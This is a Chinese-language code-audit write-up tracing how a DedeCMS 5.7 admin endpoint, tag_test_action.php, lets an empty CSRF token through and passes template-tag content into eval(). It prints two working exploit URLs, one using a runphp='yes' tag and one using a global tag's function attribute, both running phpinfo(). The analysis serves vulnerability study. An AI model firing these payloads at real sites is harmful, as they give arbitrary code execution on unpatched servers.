前言

这是 dedecms 5.7 的一个后台任意代码执行的漏洞,因为整个处理过程比较长,所以认真地去跟了一遍 : )。

环境:
dedecms 5.7 源码
apache 2.4.38 + php 5.6.40
vscode + xdebug

审计学习

参考文章的 payload 如下:

1
/dede/tag_test_action.php?url=a&token=&partcode={dede:ll name='source' runphp='yes'}phpinfo();{/dede:ll}

这里的 /dede 目录是默认的后台管理目录,所以我们需要先登录后台。
接着看一下/dede/tag_test_action.php文件。

1
2
3
require(dirname(__FILE__)."/config.php");
...
csrf_check();

在文件开头包含了/dede/config.php文件,其中定义了 csrf_check() 函数。

1
2
3
4
5
6
7
function csrf_check()
{
global $token;
if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0) {
exit;
}
}

这里可以看到该函数检测是否设置了 token,并且等于 SESSION 中的 token。
我们在/dede/tag_test_action.php中 csrf_token() 的调用处打一个断点,用 payload 请求该页面。

01

可以看到 SESSION 中的 token 默认为空,所以只要我们传入的 token 为空,就不会执行 exit。
继续看/dede/tag_test_action.php,从 payload 中可以看出我们可控的主要是 partcode 变量,这里我就仅展示相关代码。

02

这里 typeid 默认为0,所以直接实例化了一个 PartView 类。在其构造函数中,主要关注 $this->dtp。

1
$this->dtp = new DedeTagParse();

看一下 DedeTagParse 类中定义的属性及其构造函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var $NameSpace = 'dede';   //标记的名字空间
var $TagStartWord = '{'; //标记起始
var $TagEndWord = '}'; //标记结束
var $TagMaxLen = 64; //标记名称的最大值
var $CharToLow = TRUE; // TRUE表示对属性和标记名称不区分大小写
var $IsCache = FALSE; //是否使用缓冲
var $TempMkTime = 0;
var $CacheFile = '';
var $SourceString = ''; //模板字符串
var $CTags = array(); //标记集合
var $Count = -1; //$Tags标记个数
var $refObj = ''; //引用当前模板类的对象
var $taghashfile = '';
function __construct()
{
...
if($GLOBALS['cfg_tplcache']=='Y')
{
$this->IsCache = TRUE;
}
...
}

回到tag_test_action.php中,在实例化 PartView 后,接着调用了其中的 SetTemplet 方法,并传入了 partcode。

1
$pv->SetTemplet($partcode, "string");

跟一下该方法。其中又调用了 dtp (DedeTagParse类) 的 LoadSource 方法,这里的 temp 是我们前面传入的 partcode。

1
2
3
4
5
6
7
function SetTemplet($temp, $stype="file")
{
if($stype=="string")
{
$this->dtp->LoadSource($temp);
}
}

跟进 LoadSource()。

1
2
3
4
5
6
7
8
9
10
function LoadSource($str)
{
// /include/common.inc.php line 24 define('DEDEDATA', DEDEROOT.'/data');
$this->taghashfile = $fileanme = DEDEDATA.'/tplcache/'.md5($str).'.inc';
if(!is_file($filename))
{
file_put_contents($filename, $str);
}
$this->loadTemplate($filename);
}

LoadSource 方法根据我们传入的 partcode 拼接了一个文件名,并将 partcode 写入该文件中。所以在 /data/tplcache/ 目录中多了一个 inc 文件,下面称其为 inc1 文件。其中是我们构造的 payload。
为了之后的测试方便,我将 /data/tplcache/ 目录下的所有 inc 和 txt 文件都删除了。

03

在 LoadSource() 的最后调用了 dtp 的 LoadTemplate() 方法,并传入了刚刚创建的文件名。继续跟进 LoadTemplate 方法。

04

在该方法中,将我们一开始构造的 partcode 读入了 dtp 中的 SourceString 属性中。然后进入 LoadCache 方法。如果是第一次使用 payload,即在 /data/tplcache/ 中还没有存入相应的 cache 文件,则在执行完 LoadCache() 后会进入 else 分支,去执行 ParseTemplet()。跟进 LoadCache 方法。

05

这里又拼接了两个文件,分别是 inc 和 txt 文件,这里生成的 inc 文件,下面称其为 inc2 文件。因为是第一次使用 payload,在 /data/tplcache/ 目录下只有前面生成的 inc1 文件,所以 LoadCache() 在第一次返回 false。并没有执行之后的代码。等分析完第一次使用 payload 后,我会对 LoadCache() 之后的代码进行分析。
接着返回 LoadTemplate() 中。在 else 分支中,我们进入了 dtp 的 ParseTemplet 方法。

06

这里实例化了一个 DedeAttributeParse 类,主要负责对标签中的属性进行解析。看一下这个类中的基本属性的默认值。

1
2
3
4
var $sourceString = "";
var $sourceMaxSize = 1024;
var $cAttributes = "";
var $charToLow = TRUE;

接着是一个 for 循环,其中主要做了以下几件事:

  1. 由开始标签{dede:找到标签名ll,存入变量 tTagName 中。
  2. 匹配结束标签/}或者{/dede:ll},这里因为标签间有文本内容phpinfo();,所以 payload 以{\dede:ll}结尾。
  3. 匹配标签名和属性等信息,存入变量 attStr 中;匹配标签间的文本内容,存入变量 innerText。
  4. 调用 cAtt 的 SetSource 方法,其中传入 attStr,此时 attStr 中的值是ll name='source' runphp='yes'。将 cAtt 中的属性 cAttributes 实例化成 DedeAttribute 类,该类中属性的默认值为:$Count = -1; $Items = "",将传入的 attStr 存入 cAtt->sourceString 中。
  5. 在 cAtt 的 SetSource 方法的最后,调用了 cAtt 的ParseAttribute 方法。在该方法中,将前面实例化成 DedeAttribute 类的 cAttributes 中的属性 Items 设置为一个数组,其中存放了标签名ll和相应的各属性对。而 Count 是对其中的属性个数进行计数(不含标签名ll)。

07

  1. 回到 for 循环中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$cAtt->SetSource($attStr); // 设置属性
if($cAtt->cAttributes->GetTagName()!='') // 是否有标签名ll
{
$this->Count++;
$CDTag = new DedeTag();
$CDTag->TagName = $cAtt->cAttributes->GetTagName(); // ll
$CDTag->StartPos = $sPos; // 0
$CDTag->EndPos = $i; // 56
$CDTag->CAttribute = $cAtt->cAttributes; // DedeAttribute类
$CDTag->IsReplace = FALSE;
$CDTag->TagID = $this->Count; // 0
$CDTag->InnerText = $innerText; // phpinfo();
$this->CTags[$this->Count] = $CDTag; // 存入dtp中的属性CTags中
}
...
if($this->IsCache) // true
{
$this->SaveCache();
}

最后进入了 dtp 的 SaveCache 方法,该方法和前面的 LoadCache 方法对应,其中创建了前面 LoadCache() 验证时不存在的 txt 文件,并将文件修改时间,即在 LoadCache() 中保存到 dtp 的属性 TempMkTime 中的值写入该 txt 文件。

08

之后根据在上面 for 循环时,存入 dtp 的属性 CTags 中的 DedeTag 类将标签信息写入 inc2 文件。在写之前会对标签间的文本内容phpinfo();进行检查。

09

这里因为 DEDEDISFUN 常量默认是没有定义的,所以并没有对我们的文本内容phpinfo();进行检查。
SaveCache() 执行完后,inc2 文件中就存有标签的的相应信息了。

10

并且我们会回到一开始定义的 PartView 对象(pv变量)的 SetTemplet 方法中,执行 PartView 类的 ParseTemplet 方法。之后回到最开始的/dede/tag_test_action.php中 ,先输出一些页面的显示格式,最后调用 PartView 的 Display 方法。

11

之后的调用过程如下:

pv (PartView类) 的 Display() –> dtp (DedeTagParse类) 的 Display() —>dtp 的 GetResult() —> dtp 的 AssignSysTag()

在 AssignSysTag() 中,从 dtp 的属性 CTags (DedeTag类) 中取出 TagName ,payload 中对应的是ll。进行相应的判断,如果属性 runphp 的值是 yes 则进入 RunPHP 方法。

12

这里就说明了为什么 payload 中存在 runphp。跟进 RunPHP()。

13

这里的 refObj 其实就是前面的 CTag (DedeTag类) ,里面存放了标签中的信息,这里取出其中的文本内容,即phpinfo();,并传入 eval() 中执行。

14

经过上面的分析,可以知道 payload 中的条件主要包含以下几个:

  1. 标签名不是globalincludeforeachvar,才能在最后的 AssignSysTag() 中不进入 if-else if 的分支中。
  2. 标签含有 runphp 属性,且值为yes

但其实当标签名是global时,在 AssignSysTag() 中进入第一个 if 分支,也可以造成任意代码执行。这里直接看该分支中的内容。

15

payload :
/dede/tag_test_action.php?token=&partcode={dede:global%20function=%271;phpinfo()%27/}

因为该 payload 不需要将任意执行的代码放进标签间的文本中,所以这里我用了前面说的第二种形式的标签写法,其类似 html 中的<img xxx />

16

到这里,整个 payload 的处理流程就结束了。
但是前面说了这是第一次使用 payload 的处理流程。在第二篇参考文章中,走的是已经使用过 payload 的处理流程。前面部分大致是:

pv (PartView 类) 的 SetTemplet() —> dtp (DedeTagParse 类) 的 LoadSource() —> dtp 的 LoadTemplate() —> dtp 的 LoadCache()

在 LoadCache() 中,因为已经使用过 payload,在 /data/tplcache/ 目录下存在 inc2 文件和 txt 文件,所以会继续往下执行,而不会在检查 inc2 和 txt 文件时返回 false。

17

这里引入的$this->CacheFile,即前面创建的 inc2 文件。

18

接下来的代码将其中的数据还原成相应的类和属性,存入 dtp 的属性 Ctags 中,剩下的就和前面一样了。只不过第一次使用 payload 时,会将标签的内容进行一系列的解析,而第二次直接从 inc2 文件中读取并还原标签信息。

总结

该漏洞一开始主要是因为 csrf_token() 没有起到检测身份的作用,且 partcode 可控,并在最后解析时没有过滤就传入了 eval() 中,造成了可以利用 csrf 实现任意代码执行。
关于代码审计,还是要多去思考,多去复现,认真跟踪一遍可控变量的处理过程,才能加深理解 : )。

ref :
https://mochazz.github.io/2018/03/29/dedecms%E6%9C%80%E6%96%B0%E5%90%8E%E5%8F%B0getshell/
https://xz.aliyun.com/t/2224